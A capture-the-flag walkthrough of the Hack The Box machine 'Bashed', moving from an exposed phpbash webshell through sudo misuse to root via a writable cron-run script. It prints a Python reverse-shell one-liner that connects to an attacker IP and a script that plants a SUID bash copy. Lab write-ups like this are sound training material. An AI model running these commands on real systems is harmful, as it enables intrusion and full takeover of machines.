> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-bashed.md).

# HTB - Bashed

## Enumeration and Foothold

### NMAP

```bash
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
```

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fs8cN0yqF2x06a0giwI9l%2Fimage.png?alt=media&amp;token=86660fb8-3ba8-48ee-9918-54c7a6fae451" alt=""><figcaption></figcaption></figure>

clicking on php bash redirects to the below git repo.

{% embed url="<https://github.com/Arrexel/phpbash>" %}

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FLnURu5JVmBmVKicvC43b%2Fimage.png?alt=media&amp;token=7d21bf11-aaa3-4f15-a85f-06801cb17ad0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FrUiW714sRgRSOeSHHfeZ%2Fimage.png?alt=media&amp;token=240e1eec-e173-4041-ad1a-d9628beafbf8" alt=""><figcaption></figcaption></figure>

directory search revealed a uploads directory, Also accessing the php directory displays a send mail php file.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fl7Y097z6M00uZVnvTTx9%2Fimage.png?alt=media&amp;token=a6fd9d2a-afdc-4d6e-a30c-6519e66bd6a6" alt=""><figcaption></figcaption></figure>

Also accessing the dev directory reveals the php bash files.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FwWdQVc61LIkltwonnU54%2Fimage.png?alt=media&amp;token=a623069a-37c3-4614-bfc0-75b20667f433" alt=""><figcaption></figcaption></figure>

Clicking on the phpbash i can access the webshell

## Shell as www-data

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F6O1Xbcup9gskpFakCUbw%2Fimage.png?alt=media&amp;token=d1743dcb-8375-4fc0-9aa1-d5024989ad04" alt=""><figcaption></figcaption></figure>

use the below command to get reverse shell

```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.52",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FVYC8ob4eJq4NWGKDqfP5%2Fimage.png?alt=media&amp;token=fa9a0652-443e-4c8b-8bed-1759d77f836b" alt=""><figcaption></figcaption></figure>

upgrade the shell

```bash
www-data@bashed:/home$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@bashed:/home$ export TERM=xterm
export TERM=xterm
www-data@bashed:/home$ 
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FFpbg2R1gpCJ9Cxzp8eH3%2Fimage.png?alt=media&amp;token=a49df249-61ab-4e13-a2b5-bb362f4be07b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F3LNuLD3Wau0aTIUP1ELA%2Fimage.png?alt=media&amp;token=fed1c9a9-bb44-4732-a562-d748ee442d7d" alt=""><figcaption></figcaption></figure>

www-data can run any command as scriptmanager without password.

that said will get access as scriptmanager.

## Shell as scriptmanager

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fj40FaP7yiSaIGkYJckCi%2Fimage.png?alt=media&amp;token=88d35bd1-22bd-4b67-b3dc-2a0dd178b957" alt=""><figcaption></figcaption></figure>

There is a scripts directory in the root that can only be accessed by script manager.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfDEIICfTPPwn8vm0Lr4t%2Fimage.png?alt=media&amp;token=64649899-6bfb-4b2f-b9e4-93f4ae845a9c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FrWek3oqybPksla27355w%2Fimage.png?alt=media&amp;token=b83508ea-d9dc-46a3-b3ae-fbe0afdd04c4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F3Wj0EpaP5h98CWPXNRau%2Fimage.png?alt=media&amp;token=bacce80f-e02d-45d3-acaa-5159f0d12867" alt=""><figcaption></figcaption></figure>

the script open test.txt which owned by root and puts testing 123 since the script can be edited by scriptmanager i can manipulate the file to give root access.

timestamp of the test.txt is changed every second that means there is a cron that is actually processing it.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FGq3tQDcEWFaySY4knjBn%2Fimage.png?alt=media&amp;token=ab4f070b-f2f0-4278-ac1d-7fd6a4e63fd0" alt=""><figcaption></figcaption></figure>

```bash
cat > test.py << 'EOF'
import os
os.system("cp /bin/bash /tmp/rootbash")
os.system("chmod +xs /tmp/rootbash")
EOF
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fb4RBl75VjCq2As7BADQY%2Fimage.png?alt=media&amp;token=8a90fe58-31dd-4c83-b809-81a3ff481888" alt=""><figcaption></figcaption></figure>

successful got the suid bit on the rootbash.

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fm2GCpyxT0zLGIbR2wTM1%2Fimage.png?alt=media&amp;token=3ec7a653-40d4-4f4c-b087-235a7ac231b2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-bashed.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
